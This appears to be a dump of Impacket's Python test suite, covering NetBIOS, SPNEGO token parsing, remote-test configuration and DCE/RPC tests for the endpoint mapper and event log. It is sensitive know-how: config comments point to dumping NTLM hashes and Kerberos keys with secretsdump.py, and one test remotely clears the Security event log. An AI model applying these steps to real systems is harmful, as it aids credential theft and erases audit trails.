decoded[1].strip()) 38 | 39 | # ToDo: Fix the scope functionality 40 | #namescope = 'MYNAME' 41 | #encoded = nmb.encode_name(namescope,nmb.TYPE_SERVER,'SCOPE') 42 | #hexdump(encoded) 43 | #decoded = nmb.decode_name(encoded) 44 | #hexdump(decoded) 45 | 46 | #self.assertEqual(nmb.TYPE_SERVER, decoded[0]) 47 | #self.assertEqual(namescope[:15], decoded[1].strip()) 48 | 49 | def test_getnetbiosname(self): 50 | n = nmb.NetBIOS() 51 | res = n.getnetbiosname(self.machine) 52 | print(repr(res)) 53 | self.assertEqual(self.serverName, res) 54 | 55 | def test_getnodestatus(self): 56 | n = nmb.NetBIOS() 57 | resp = n.getnodestatus(self.serverName.upper(), self.machine) 58 | for r in resp: 59 | r.dump() 60 | print(resp) 61 | 62 | def test_gethostbyname(self): 63 | n = nmb.NetBIOS() 64 | n.set_nameserver(self.serverName) 65 | resp = n.gethostbyname(self.serverName, nmb.TYPE_SERVER) 66 | print(resp.entries) 67 | 68 | def test_name_registration_request(self): 69 | n = nmb.NetBIOS() 70 | # ToDo: Look at this 71 | #resp = n.name_registration_request('*SMBSERVER', self.serverName, nmb.TYPE_WORKSTATION, None,nmb.NB_FLAGS_G, '1.1.1.1') 72 | try: 73 | resp = n.name_registration_request('*JSMBSERVER', self.serverName, nmb.TYPE_WORKSTATION, None,nmb.NB_FLAGS_ONT_P, '1.1.1.2') 74 | resp.dump() 75 | except Exception as e: 76 | print(str(e)) 77 | if str(e).find('NETBIOS') <= 0: 78 | raise e 79 | 80 | def test_name_query_request(self): 81 | n = nmb.NetBIOS() 82 | # ToDo: Look at this 83 | # resp = n.name_registration_request('*SMBSERVER', self.serverName, nmb.TYPE_WORKSTATION, None,nmb.NB_FLAGS_G, '1.1.1.1') 84 | resp = n.name_query_request(self.serverName, self.machine) 85 | print(resp.entries) 86 | 87 | 88 | if __name__ == "__main__": 89 | unittest.main(verbosity=1) 90 | -------------------------------------------------------------------------------- /tests/SMB_RPC/test_spnego.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright Fortra, LLC and its affiliated companies 4 | # 5 | # All rights reserved. 6 | # 7 | # This software is provided under a slightly modified version 8 | # of the Apache Software License. See the accompanying LICENSE file 9 | # for more information. 10 | # 11 | import unittest 12 | from impacket import smb 13 | 14 | 15 | class Test(unittest.TestCase): 16 | 17 | def setUp(self): 18 | self.negTokenInit = b'\x60\x28\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x1e\x30\x1c\xa0\x1a\x30\x18\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x1e\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a' 19 | 20 | self.negTokenInit2 = b'\x60\x4d\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x43\x30\x41\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2f\x04\x2d\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x15\x82\x08\x60\x09\x00\x09\x00\x20\x00\x00\x00\x04\x00\x04\x00\x29\x00\x00\x00\x57\x4f\x52\x4b\x47\x52\x4f\x55\x50\x4a\x41\x43\x4b' 21 | 22 | self.negTokenResp1 = b'\xa1\x82\x01\x0b\x30\x82\x01\x07\xa0\x03\x0a\x01\x01\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x81\xf1\x04\x81\xee\x4e\x54\x4c\x4d\x53\x53\x50\x00\x02\x00\x00\x00\x1e\x00\x1e\x00\x38\x00\x00\x00\x15\x82\x8a\x62\x29\x93\x18\x15\x3d\x3b\x0d\x8a\x00\x00\x00\x00\x00\x00\x00\x00\x98\x00\x98\x00\x56\x00\x00\x00\x06\x01\xb1\x1d\x00\x00\x00\x0f\x57\x00\x49\x00\x4e\x00\x2d\x00\x41\x00\x36\x00\x4b\x00\x50\x00\x55\x00\x30\x00\x54\x00\x31\x00\x52\x00\x36\x00\x53\x00\x02\x00\x1e\x00\x57\x00\x49\x00\x4e\x00\x2d\x00\x41\x00\x36\x00\x4b\x00\x50\x00\x55\x00\x30\x00\x54\x00\x31\x00\x52\x00\x36\x00\x53\x00\x01\x00\x1e\x00\x57\x00\x49\x00\x4e\x00\x2d\x00\x41\x00\x36\x00\x4b\x00\x50\x00\x55\x00\x30\x00\x54\x00\x31\x00\x52\x00\x36\x00\x53\x00\x04\x00\x1e\x00\x57\x00\x49\x00\x4e\x00\x2d\x00\x41\x00\x36\x00\x4b\x00\x50\x00\x55\x00\x30\x00\x54\x00\x31\x00\x52\x00\x36\x00\x53\x00\x03\x00\x1e\x00\x57\x00\x49\x00\x4e\x00\x2d\x00\x41\x00\x36\x00\x4b\x00\x50\x00\x55\x00\x30\x00\x54\x00\x31\x00\x52\x00\x36\x00\x53\x00\x07\x00\x08\x00\x52\xe8\x2b\x20\x70\x30\xcd\x01\x00\x00\x00\x00' 23 | 24 | self.negTokenResp2 = b'\xa1\x81\xab\x30\x81\xa8\xa2\x81\xa5\x04\x81\xa2\x4e\x54\x4c\x4d\x53\x53\x50\x00\x03\x00\x00\x00\x18\x00\x18\x00\x40\x00\x00\x00\x18\x00\x18\x00\x58\x00\x00\x00\x12\x00\x12\x00\x70\x00\x00\x00\x08\x00\x08\x00\x82\x00\x00\x00\x08\x00\x08\x00\x8a\x00\x00\x00\x10\x00\x10\x00\x92\x00\x00\x00\x15\x82\x08\x60\x24\x7f\xec\x6e\x53\x09\x86\x8a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\x99\x24\xd3\x12\xd5\x95\xe1\x33\xba\xfa\x00\x3e\xe3\xfd\x58\x63\xbd\x3e\x83\x0d\x4e\x71\xdc\x57\x00\x4f\x00\x52\x00\x4b\x00\x47\x00\x52\x00\x4f\x00\x55\x00\x50\x00\x74\x00\x65\x00\x73\x00\x74\x00\x4a\x00\x41\x00\x43\x00\x4b\x00\x32\xd2\x67\xd6\xa5\xa9\x4b\x97\x2a\xaf\x45\xee\x87\x58\x0c\x6d' 25 | 26 | self.negTokenResp3 = b'\xa1\x07\x30\x05\xa0\x03\x0a\x01\x00' 27 | 28 | self.negTokenResp4 = b'\xa1\x15\x30\x13\xa0\x03\x0a\x01\x03\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a' 29 | 30 | def test_negTokenInit(self): 31 | token = smb.SPNEGO_NegTokenInit() 32 | token.fromString(self.negTokenInit) 33 | self.assertEqual(self.negTokenInit, token.getData()) 34 | 35 | def test_negTokenInit2(self): 36 | token = smb.SPNEGO_NegTokenInit() 37 | token.fromString(self.negTokenInit2) 38 | self.assertEqual(self.negTokenInit2, token.getData()) 39 | 40 | def test_negTokenResp1(self): 41 | token = smb.SPNEGO_NegTokenResp() 42 | token.fromString(self.negTokenResp1) 43 | self.assertEqual(self.negTokenResp1, token.getData()) 44 | 45 | def test_negTokenResp2(self): 46 | token = smb.SPNEGO_NegTokenResp() 47 | token.fromString(self.negTokenResp2) 48 | self.assertEqual(self.negTokenResp2, token.getData()) 49 | 50 | def test_negTokenResp3(self): 51 | token = smb.SPNEGO_NegTokenResp() 52 | token.fromString(self.negTokenResp3) 53 | self.assertEqual(self.negTokenResp3, token.getData()) 54 | 55 | def test_negTokenResp4(self): 56 | token = smb.SPNEGO_NegTokenResp() 57 | token['NegState'] = b'\x03' # request-mic 58 | token['SupportedMech'] = smb.TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] 59 | self.assertEqual(self.negTokenResp4, token.getData()) 60 | 61 | 62 | if __name__ == "__main__": 63 | unittest.main(verbosity=1) 64 | -------------------------------------------------------------------------------- /tests/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Copyright Fortra, LLC and its affiliated companies 3 | # 4 | # All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Base tests cases module 11 | # 12 | from os import getenv 13 | from os.path import join 14 | from binascii import unhexlify 15 | from six.moves.configparser import ConfigParser 16 | 17 | 18 | # Module-scope variable to hold remote configuration in case it was set by pytest 19 | remote_config_file_path = None 20 | 21 | 22 | remote_config_section = "TCPTransport" 23 | 24 | 25 | remote_config_params = [ 26 | ("servername", "Server NetBIOS Name"), 27 | ("machine", "Target hostname or IP address"), 28 | ("username", "User's username"), 29 | ("password", "User's password"), 30 | ("hashes", "User's NTLM hashes, you can grab them with secretsdump.py or will be calculated from the password"), 31 | ("aesKey256", "User's Kerberos AES 256 Key, you can grab it with secretsdump.py"), 32 | ("aesKey128", "User's Kerberos AES 128 Key, you can grab it with secretsdump.py"), 33 | ("domain", "Domain FQDN"), 34 | ("machineuser", "Domain-joined machine NetBIOS Name"), 35 | ("machineuserhashes", "Domain-joined machine NTLM hashes, you can grab them with secretsdump.py"), 36 | ] 37 | remote_config_params_names = [name for name, _ in remote_config_params] 38 | 39 | 40 | def set_remote_config_file_path(config_file): 41 | """Sets the configuration file path for further considering it""" 42 | global remote_config_file_path 43 | remote_config_file_path = config_file or None 44 | 45 | 46 | def get_remote_config_file_path(): 47 | """Obtains the configuration file path according to the different options available 48 | to specify it. 49 | """ 50 | if remote_config_file_path: 51 | return remote_config_file_path 52 | remote_config_file = getenv("REMOTE_CONFIG") 53 | if not remote_config_file: 54 | remote_config_file = join("tests", "dcetests.cfg") 55 | return remote_config_file 56 | 57 | 58 | def get_remote_config(): 59 | """Retrieves the remote tests configuration. 60 | """ 61 | remote_config_file = ConfigParser() 62 | remote_config_file.read(get_remote_config_file_path()) 63 | return remote_config_file 64 | 65 | 66 | def set_transport_config(obj, machine_account=False, aes_keys=False): 67 | """Set configuration parameters in the unit test. 68 | """ 69 | remote_config = get_remote_config() 70 | obj.username = remote_config.get(remote_config_section, "username") 71 | obj.domain = remote_config.get(remote_config_section, "domain") 72 | obj.serverName = remote_config.get(remote_config_section, "servername") 73 | obj.password = remote_config.get(remote_config_section, "password") 74 | obj.machine = remote_config.get(remote_config_section, "machine") 75 | obj.hashes = remote_config.get(remote_config_section, "hashes") 76 | if len(obj.hashes): 77 | obj.lmhash, obj.nthash = obj.hashes.split(':') 78 | obj.blmhash = unhexlify(obj.lmhash) 79 | obj.bnthash = unhexlify(obj.nthash) 80 | else: 81 | obj.lmhash = obj.blmhash = '' 82 | obj.nthash = obj.bnthash = '' 83 | 84 | if machine_account: 85 | obj.machine_user = remote_config.get(remote_config_section, "machineuser") 86 | obj.machine_user_hashes = remote_config.get(remote_config_section, "machineuserhashes") 87 | if len(obj.machine_user_hashes): 88 | obj.machine_user_lmhash, obj.machine_user_nthash = obj.machine_user_hashes.split(':') 89 | obj.machine_user_blmhash = unhexlify(obj.machine_user_lmhash) 90 | obj.machine_user_bnthash = unhexlify(obj.machine_user_nthash) 91 | else: 92 | obj.machine_user_lmhash = obj.machine_user_blmhash = '' 93 | obj.machine_user_nthash = obj.machine_user_bnthash = '' 94 | 95 | if aes_keys: 96 | obj.aes_key_128 = remote_config.get(remote_config_section, 'aesKey128') 97 | obj.aes_key_256 = remote_config.get(remote_config_section, 'aesKey256') 98 | 99 | 100 | class RemoteTestCase(object): 101 | """Remote Test Case Base Class 102 | 103 | Holds configuration parameters for all remote base classes. Configuration is by 104 | default loaded from `tests/dctests.cfg`, but a different path can be specified with 105 | the REMOTE_CONFIG environment variable. When tests are loaded by pytest, a remote 106 | configuration file can also be specified using the `--remote-config` command line 107 | option or the `remote-config` ini option. 108 | 109 | Configuration parameters can be found in the `tests/dcetests.cfg.template` file. 110 | """ 111 | 112 | def set_transport_config(self, machine_account=False, aes_keys=False): 113 | """Set configuration parameters in the unit test. 114 | """ 115 | set_transport_config(self, machine_account=machine_account, aes_keys=aes_keys) 116 | -------------------------------------------------------------------------------- /tests/conftest.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Copyright Fortra, LLC and its affiliated companies 3 | # 4 | # All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Tests configuration 11 | # 12 | import pytest 13 | from . import set_remote_config_file_path, set_transport_config 14 | 15 | 16 | def pytest_configure(config): 17 | """Hook that sets remote configuration file path as specified in pytest command line 18 | or ini option, and apply the configuration options to the pytest `config` object. 19 | """ 20 | config_file = config.getoption("--remote-config") 21 | if not config_file: 22 | config_file = config.getini("remote-config") 23 | if config_file: 24 | set_remote_config_file_path(config_file) 25 | set_transport_config(config) 26 | 27 | 28 | def pytest_addoption(parser): 29 | """Hook that adds pytest options for configuring the remote configuration 30 | file. 31 | """ 32 | parser.addoption("--remote-config", dest="remote_config", metavar="FILE", 33 | help="Configuration file for remote tests") 34 | parser.addini("remote-config", help="Configuration file for remote tests", type="pathlist") 35 | 36 | 37 | @pytest.fixture(scope="class", name="remote") 38 | def remote_config(request): 39 | """Remote Test Case configuration fixture 40 | 41 | Sets the configuration attributes in the test class for easier access. 42 | """ 43 | set_transport_config(request.cls) 44 | -------------------------------------------------------------------------------- /tests/data/ccache-v1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fortra/impacket/ff8c200fd040b04d3b5ff05449646737f836235d/tests/data/ccache-v1 -------------------------------------------------------------------------------- /tests/data/ccache-v2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fortra/impacket/ff8c200fd040b04d3b5ff05449646737f836235d/tests/data/ccache-v2 -------------------------------------------------------------------------------- /tests/data/ccache-v3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fortra/impacket/ff8c200fd040b04d3b5ff05449646737f836235d/tests/data/ccache-v3 -------------------------------------------------------------------------------- /tests/data/ccache-v3-kirbi: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fortra/impacket/ff8c200fd040b04d3b5ff05449646737f836235d/tests/data/ccache-v3-kirbi -------------------------------------------------------------------------------- /tests/data/ccache-v4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fortra/impacket/ff8c200fd040b04d3b5ff05449646737f836235d/tests/data/ccache-v4 -------------------------------------------------------------------------------- /tests/data/ccache-v4-kirbi: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fortra/impacket/ff8c200fd040b04d3b5ff05449646737f836235d/tests/data/ccache-v4-kirbi -------------------------------------------------------------------------------- /tests/dcerpc/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright Fortra, LLC and its affiliated companies 5 | # 6 | # All rights reserved. 7 | # 8 | # This software is provided under a slightly modified version 9 | # of the Apache Software License. See the accompanying LICENSE file 10 | # for more information. 11 | # 12 | # Description: 13 | # Base class for testing DCE/RPC Endpoints. 14 | # 15 | # Author: 16 | # @martingalloar 17 | # 18 | from tests import RemoteTestCase 19 | 20 | from impacket.dcerpc.v5 import transport, epm 21 | 22 | 23 | class DCERPCTests(RemoteTestCase): 24 | 25 | STRING_BINDING_FORMATTING = 1 26 | STRING_BINDING_MAPPER = 2 27 | 28 | TRANSFER_SYNTAX_NDR = ("8a885d04-1ceb-11c9-9fe8-08002b104860", "2.0") 29 | TRANSFER_SYNTAX_NDR64 = ("71710533-BEBA-4937-8319-B5DBEF9CCC36", "1.0") 30 | 31 | timeout = None 32 | authn = False 33 | authn_level = None 34 | iface_uuid = None 35 | protocol = None 36 | string_binding = None 37 | string_binding_formatting = STRING_BINDING_FORMATTING 38 | transfer_syntax = None 39 | machine_account = False 40 | 41 | def connect(self, string_binding=None, iface_uuid=None): 42 | """Obtains a RPC Transport and a DCE interface according to the bindings and 43 | transfer syntax specified. 44 | 45 | :return: tuple of DCE/RPC and RPC Transport objects 46 | :rtype: (DCERPC_v5, DCERPCTransport) 47 | """ 48 | string_binding = string_binding or self.string_binding 49 | if not string_binding: 50 | raise NotImplemented("String binding must be defined") 51 | 52 | rpc_transport = transport.DCERPCTransportFactory(string_binding) 53 | 54 | # Set timeout if defined 55 | if self.timeout: 56 | rpc_transport.set_connect_timeout(self.timeout) 57 | 58 | # Authenticate if specified 59 | if self.authn and hasattr(rpc_transport, 'set_credentials'): 60 | # This method exists only for selected protocol sequences. 61 | rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash) 62 | 63 | # Gets the DCE RPC object 64 | dce = rpc_transport.get_dce_rpc() 65 | 66 | # Set the authentication level 67 | if self.authn_level: 68 | dce.set_auth_level(self.authn_level) 69 | 70 | # Connect 71 | dce.connect() 72 | 73 | # Bind if specified 74 | iface_uuid = iface_uuid or self.iface_uuid 75 | if iface_uuid and self.transfer_syntax: 76 | dce.bind(iface_uuid, transfer_syntax=self.transfer_syntax) 77 | elif iface_uuid: 78 | dce.bind(iface_uuid) 79 | 80 | return dce, rpc_transport 81 | 82 | def setUp(self): 83 | super(DCERPCTests, self).setUp() 84 | self.set_transport_config(machine_account=self.machine_account) 85 | 86 | if self.string_binding_formatting == self.STRING_BINDING_FORMATTING: 87 | self.string_binding = self.string_binding.format(self) 88 | elif self.string_binding_formatting == self.STRING_BINDING_MAPPER: 89 | self.string_binding = epm.hept_map(self.machine, self.iface_uuid, protocol=self.protocol) 90 | -------------------------------------------------------------------------------- /tests/dcerpc/test_epm.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright Fortra, LLC and its affiliated companies 4 | # 5 | # All rights reserved. 6 | # 7 | # This software is provided under a slightly modified version 8 | # of the Apache Software License. See the accompanying LICENSE file 9 | # for more information. 10 | # 11 | # Tested so far: 12 | # (h)ept_lookup 13 | # (h)ept_map 14 | # 15 | from __future__ import division 16 | from __future__ import print_function 17 | import socket 18 | import pytest 19 | import unittest 20 | from tests.dcerpc import DCERPCTests 21 | 22 | from impacket.dcerpc.v5 import epm 23 | from impacket.dcerpc.v5.ndr import NULL 24 | from impacket.uuid import string_to_bin, uuidtup_to_bin 25 | 26 | 27 | class EPMTests(DCERPCTests): 28 | iface_uuid = epm.MSRPC_UUID_PORTMAP 29 | string_binding = r"ncacn_np:{0.machine}[\pipe\epmapper]" 30 | authn = True 31 | 32 | def test_lookup(self): 33 | dce, rpctransport = self.connect() 34 | request = epm.ept_lookup() 35 | request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS 36 | request['object'] = NULL 37 | request['Ifid'] = NULL 38 | request['vers_option'] = epm.RPC_C_VERS_ALL 39 | request['max_ents'] = 499 40 | 41 | resp = dce.request(request) 42 | for entry in resp['entries']: 43 | tower = entry['tower']['tower_octet_string'] 44 | epm.EPMTower(b''.join(tower)) 45 | 46 | def test_hlookup(self): 47 | epm.hept_lookup(self.machine) 48 | MSRPC_UUID_SAMR = uuidtup_to_bin(('12345778-1234-ABCD-EF00-0123456789AC', '1.0')) 49 | epm.hept_lookup(self.machine, inquiry_type=epm.RPC_C_EP_MATCH_BY_IF, ifId=MSRPC_UUID_SAMR) 50 | MSRPC_UUID_ATSVC = uuidtup_to_bin(('1FF70682-0A51-30E8-076D-740BE8CEE98B', '1.0')) 51 | epm.hept_lookup(self.machine, inquiry_type=epm.RPC_C_EP_MATCH_BY_IF, ifId=MSRPC_UUID_ATSVC) 52 | MSRPC_UUID_SCMR = uuidtup_to_bin(('367ABB81-9844-35F1-AD32-98F038001003', '2.0')) 53 | epm.hept_lookup(self.machine, inquiry_type=epm.RPC_C_EP_MATCH_BY_IF, ifId=MSRPC_UUID_SCMR) 54 | 55 | def test_map(self): 56 | dce, rpctransport = self.connect() 57 | tower = epm.EPMTower() 58 | interface = epm.EPMRPCInterface() 59 | interface['InterfaceUUID'] = string_to_bin('12345778-1234-ABCD-EF00-0123456789AC') 60 | interface['MajorVersion'] = 1 61 | interface['MinorVersion'] = 0 62 | 63 | dataRep = epm.EPMRPCDataRepresentation() 64 | dataRep['DataRepUuid'] = string_to_bin('8a885d04-1ceb-11c9-9fe8-08002b104860') 65 | dataRep['MajorVersion'] = 2 66 | dataRep['MinorVersion'] = 0 67 | 68 | protId = epm.EPMProtocolIdentifier() 69 | protId['ProtIdentifier'] = 0xb 70 | 71 | pipeName = epm.EPMPipeName() 72 | pipeName['PipeName'] = b'\x00' 73 | 74 | portAddr = epm.EPMPortAddr() 75 | portAddr['IpPort'] = 0 76 | 77 | hostAddr = epm.EPMHostAddr() 78 | hostAddr['Ip4addr'] = socket.inet_aton('0.0.0.0') 79 | 80 | hostName = epm.EPMHostName() 81 | hostName['HostName'] = b'\x00' 82 | 83 | tower['NumberOfFloors'] = 5 84 | tower['Floors'] = interface.getData() + dataRep.getData() + protId.getData() + portAddr.getData() + hostAddr.getData() 85 | request = epm.ept_map() 86 | request['max_towers'] = 4 87 | request['map_tower']['tower_length'] = len(tower) 88 | request['map_tower']['tower_octet_string'] = tower.getData() 89 | resp = dce.request(request) 90 | resp.dump() 91 | 92 | def test_hept_map(self): 93 | MSRPC_UUID_SAMR = uuidtup_to_bin(('12345778-1234-ABCD-EF00-0123456789AC', '1.0')) 94 | epm.hept_map(self.machine, MSRPC_UUID_SAMR) 95 | epm.hept_map(self.machine, MSRPC_UUID_SAMR, protocol='ncacn_ip_tcp') 96 | MSRPC_UUID_ATSVC = uuidtup_to_bin(('1FF70682-0A51-30E8-076D-740BE8CEE98B', '1.0')) 97 | epm.hept_map(self.machine, MSRPC_UUID_ATSVC) 98 | MSRPC_UUID_SCMR = uuidtup_to_bin(('367ABB81-9844-35F1-AD32-98F038001003', '2.0')) 99 | epm.hept_map(self.machine, MSRPC_UUID_SCMR, protocol='ncacn_ip_tcp') 100 | 101 | 102 | @pytest.mark.remote 103 | class EPMTestsSMBTransport(EPMTests, unittest.TestCase): 104 | transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR 105 | 106 | 107 | @pytest.mark.remote 108 | class EPMTestsSMBTransport64(EPMTests, unittest.TestCase): 109 | transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64 110 | 111 | 112 | @pytest.mark.remote 113 | class EPMTestsTCPTransport(EPMTests, unittest.TestCase): 114 | string_binding = r"ncacn_ip_tcp:{0.machine}[135]" 115 | transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR 116 | 117 | 118 | @pytest.mark.remote 119 | class EPMTestsTCPTransport64(EPMTests, unittest.TestCase): 120 | string_binding = r"ncacn_ip_tcp:{0.machine}[135]" 121 | transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64 122 | 123 | 124 | # Process command-line arguments. 125 | if __name__ == "__main__": 126 | unittest.main(verbosity=1) 127 | -------------------------------------------------------------------------------- /tests/dcerpc/test_even6.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright Fortra, LLC and its affiliated companies 4 | # 5 | # All rights reserved. 6 | # 7 | # This software is provided under a slightly modified version 8 | # of the Apache Software License. See the accompanying LICENSE file 9 | # for more information. 10 | # 11 | # Tested so far: 12 | # (h)EvtRpcRegisterLogQuery 13 | # (h)EvtRpcQueryNext 14 | # Not yet 15 | # EvtRpcQuerySeek 16 | # EvtRpcClose 17 | # EvtRpcOpenLogHandle 18 | # EvtRpcGetChannelList 19 | # 20 | from __future__ import division 21 | from __future__ import print_function 22 | import pytest 23 | import unittest 24 | from six.moves import xrange 25 | 26 | from tests.dcerpc import DCERPCTests 27 | 28 | from impacket.dcerpc.v5 import even6 29 | from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY 30 | 31 | 32 | class EVEN6Tests(DCERPCTests): 33 | iface_uuid = even6.MSRPC_UUID_EVEN6 34 | protocol = "ncacn_ip_tcp" 35 | string_binding_formatting = DCERPCTests.STRING_BINDING_MAPPER 36 | string_binding = r"ncacn_np:{0.machine}[\PIPE\eventlog]" 37 | authn = True 38 | authn_level = RPC_C_AUTHN_LEVEL_PKT_PRIVACY 39 | 40 | def test_hEvtRpcClearLog(self): 41 | dce, rpctransport = self.connect() 42 | 43 | resp = even6.hEvtRpcRegisterControllableOperation(dce) 44 | resp.dump() 45 | 46 | control_handle = resp['Handle'] 47 | 48 | resp = even6.hEvtRpcClearLog(dce, control_handle, 'Security\x00') 49 | resp.dump() 50 | 51 | resp = even6.hEvtRpcClose(dce, control_handle) 52 | resp.dump() 53 | 54 | def test_hEvtRpcExportLog(self): 55 | dce, rpctransport = self.connect() 56 | 57 | resp = even6.hEvtRpcRegisterControllableOperation(dce) 58 | resp.dump() 59 | 60 | control_handle = resp['Handle'] 61 | 62 | resp = even6.hEvtRpcExportLog(dce, control_handle, 'Security\x00', '*\x00', 'C:\\Security_Log_Exported.evtx\x00') 63 | resp.dump() 64 | 65 | resp = even6.hEvtRpcClose(dce, control_handle) 66 | resp.dump() 67 | 68 | def test_EvtRpcRegisterLogQuery_EvtRpcQueryNext(self): 69 | dce, rpctransport = self.connect() 70 | 71 | request = even6.EvtRpcRegisterLogQuery() 72 | request['Path'] = 'Security\x00' 73 | request['Query'] = '*\x00' 74 | request['Flags'] = even6.EvtQueryChannelName | even6.EvtReadNewestToOldest 75 | request.dump() 76 | 77 | resp = dce.request(request) 78 | resp.dump() 79 | log_handle = resp['Handle'] 80 | 81 | request = even6.EvtRpcQueryNext() 82 | request['LogQuery'] = log_handle 83 | request['NumRequestedRecords'] = 5 84 | request['TimeOutEnd'] = 1000 85 | request['Flags'] = 0 86 | request.dump() 87 | 88 | resp = dce.request(request) 89 | resp.dump() 90 | 91 | for i in xrange(resp['NumActualRecords']): 92 | event_offset = resp['EventDataIndices'][i]['Data'] 93 | event_size = resp['EventDataSizes'][i]['Data'] 94 | event = resp['ResultBuffer'][event_offset:event_offset + event_size] 95 | 96 | def test_hEvtRpcRegisterLogQuery_hEvtRpcQueryNext(self): 97 | dce, rpctransport = self.connect() 98 | 99 | resp = even6.hEvtRpcRegisterLogQuery(dce, 'Security\x00', 100 | even6.EvtQueryChannelName | even6.EvtReadNewestToOldest, 101 | '*\x00') 102 | resp.dump() 103 | log_handle = resp['Handle'] 104 | 105 | resp = even6.hEvtRpcQueryNext(dce, log_handle, 5, 1000) 106 | resp.dump() 107 | 108 | for i in xrange(resp['NumActualRecords']): 109 | event_offset = resp['EventDataIndices'][i]['Data'] 110 | event_size = resp['EventDataSizes'][i]['Data'] 111 | event = resp['ResultBuffer'][event_offset:event_offset + event_size] 112 | 113 | 114 | @pytest.mark.remote 115 | class EVEN6TestsTCPTransport(EVEN6Tests, unittest.TestCase): 116 | transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR 117 | 118 | 119 | @pytest.mark.remote 120 | class EVEN6TestsTCPTransport64(EVEN6Tests, unittest.TestCase): 121 | transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64 122 | 123 | 124 | # Process command-line arguments. 125 | if __name__ == "__main__": 126 | unittest.main(verbosity=1) 127 | -------------------------------------------------------------------------------- /tests/dcerpc/test_fasp.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright Fortra, LLC and its affiliated companies 4 | # 5 | # All rights reserved. 6 | # 7 | # This software is provided under a slightly modified version 8 | # of the Apache Software License. See the accompanying LICENSE file 9 | # for more information. 10 | # 11 | # Tested so far: 12 | # FWOpenPolicyStore 13 | # 14 | # Not yet: 15 | # 16 | import unittest 17 | import pytest 18 | from tests.dcerpc import DCERPCTests 19 | 20 | from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY 21 | 22 | 23 | # XXX: This is just to pass tests until we figure out what happened with the 24 | # fasp module 25 | fasp = None 26 | 27 | 28 | @pytest.mark.skip(reason="fasp module unavailable") 29 | class FASPTests(DCERPCTests): 30 | #iface_uuid = fasp.MSRPC_UUID_FASP 31 | authn = True 32 | authn_level = RPC_C_AUTHN_LEVEL_PKT_PRIVACY 33 | 34 | def test_FWOpenPolicyStore(self): 35 | dce, rpc_transport = self.connect() 36 | request = fasp.FWOpenPolicyStore() 37 | request['BinaryVersion'] = 0x0200 38 | request['StoreType'] = fasp.FW_STORE_TYPE.FW_STORE_TYPE_LOCAL 39 | request['AccessRight'] = fasp.FW_POLICY_ACCESS_RIGHT.FW_POLICY_ACCESS_RIGHT_READ 40 | request['dwFlags'] = 0 41 | resp = dce.request(request) 42 | resp.dump() 43 | 44 | def test_hFWOpenPolicyStore(self): 45 | dce, rpc_transport = self.connect() 46 | resp = fasp.hFWOpenPolicyStore(dce) 47 | resp.dump() 48 | 49 | def test_FWClosePolicyStore(self): 50 | dce, rpc_transport = self.connect() 51 | resp = fasp.hFWOpenPolicyStore(dce) 52 | request = fasp.FWClosePolicyStore() 53 | request['phPolicyStore'] = resp['phPolicyStore'] 54 | resp = dce.request(request) 55 | resp.dump() 56 | 57 | def test_hFWClosePolicyStore(self): 58 | dce, rpc_transport = self.connect() 59 | resp = fasp.hFWOpenPolicyStore(dce) 60 | resp = fasp.hFWClosePolicyStore(dce,resp['phPolicyStore']) 61 | resp.dump() 62 | 63 | 64 | @pytest.mark.remote 65 | class FASPTestsTCPTransport(FASPTests, unittest.TestCase): 66 | protocol = "ncacn_ip_tcp" 67 | transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR 68 | 69 | 70 | @pytest.mark.remote 71 | class FASPTestsTCPTransport64(FASPTests, unittest.TestCase): 72 | protocol = "ncacn_ip_tcp" 73 | transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64 74 | 75 | 76 | # Process command-line arguments. 77 | if __name__ == "__main__": 78 | unittest.main(verbosity=1) 79 | -------------------------------------------------------------------------------- 